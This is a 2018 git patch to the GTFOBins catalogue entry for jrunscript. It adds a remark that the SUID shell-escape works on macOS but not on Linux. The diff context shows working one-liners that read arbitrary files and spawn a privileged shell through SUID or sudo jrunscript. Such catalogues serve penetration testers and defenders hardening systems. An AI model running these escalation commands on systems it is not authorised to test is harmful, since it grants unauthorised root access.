From 46e293e4443b7a5884c9ddb0caa696d055e6d2f7 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Sat, 13 Oct 2018 13:36:24 +0100 Subject: [PATCH] Describe jrunscript suid limitations --- _gtfobins/jrunscript.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/_gtfobins/jrunscript.md b/_gtfobins/jrunscript.md index 84af4e2..519f499 100644 --- a/_gtfobins/jrunscript.md +++ b/_gtfobins/jrunscript.md @@ -30,7 +30,8 @@ functions: - code: jrunscript -e 'br = new BufferedReader(new java.io.FileReader("file_to_read")); while ((line = br.readLine()) != null) { print(line); }' suid: - - code: ./jrunscript -e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')" + - description: This has been found working in macOS but failing on Linux systems. + code: ./jrunscript -e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')" sudo: - code: sudo jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')" ---